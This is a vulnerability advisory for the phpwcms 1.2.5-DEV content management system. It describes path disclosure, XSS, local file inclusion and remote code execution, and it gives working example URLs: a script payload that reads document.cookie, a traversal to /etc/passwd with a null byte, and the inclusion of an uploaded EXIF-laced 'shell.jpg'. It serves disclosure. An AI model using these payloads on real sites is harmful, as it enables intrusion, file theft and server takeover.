Vendor: http://www.phpwcms.de
Bugs: Path Disclosure, XSS, Local File Inclusion,
Remote Code Execution
Vulnerable Version: phpwcms 1.2.5-DEV (prior versions
also maybe affected)
Exploitation: Remote with browser
Description:
--------------------
phpwcms is a web content management system optimized
for fast and easy setup on any standard web server.
phpwcms is perfect for professional, public and
private users.
Vulnerability:
--------------------
-->>Path Disclosure<<--
Reason: direct access to include files that generates
php error with installation path information.
Several files are vulnerable in this case.
Example:
http://example.com/phpwcms/include/inc_lib/files.public-userroot.inc.php
http://example.com/phpwcms/include/inc_lib/files.private.additions.inc.p
hp
-->>XSS<<--
Reason: when register globals is enable several
template files are vulnerable to xss.
Example:
http://localhost/php/phpwcms/include/inc_tmpl/content/cnt6.inc.php?BL[be
_cnt_plainhtml]=<script>alert(document.cookie)</script>
Code Snippet:
/include/inc_tmpl/content/cnt6.inc.php //line#28
<?php echo $BL['be_cnt_plainhtml'] ?>
-->>Local File Inclusion<<--
Reason: Incorrect use of spaw script (external script)
and its configuration result in local file inclusion
when register globals is enable and gpc_magic_quotes
is Off.
http://localhost/php/phpwcms/include/inc_ext/spaw/spaw_control.class.php
?spaw_root=../../../../etc/passwd%00
Code Snippet:
/include/inc_ext/spaw/spaw_control.class.php
//lines:#15-20
if (preg_match("/:///i", $spaw_root)) die ("can't
include external file");
include $spaw_root.'config/spaw_control.config.php';
include $spaw_root.'class/util.class.php';
include $spaw_root.'class/toolbars.class.php';
include $spaw_root.'class/lang.class.php';
-->>Remote Code Execution<<--
Reason: It is possible for an attacker to upload a
picture with php code as EXIF metadata content in his
post and then he can uses above vulnerability to
conduct remote code execution.
Example:
http://example.com/phpwcms/include/inc_ext/spaw/spaw_control.class.php?s
paw_root=../../../picture/upload/shell.jpg%00
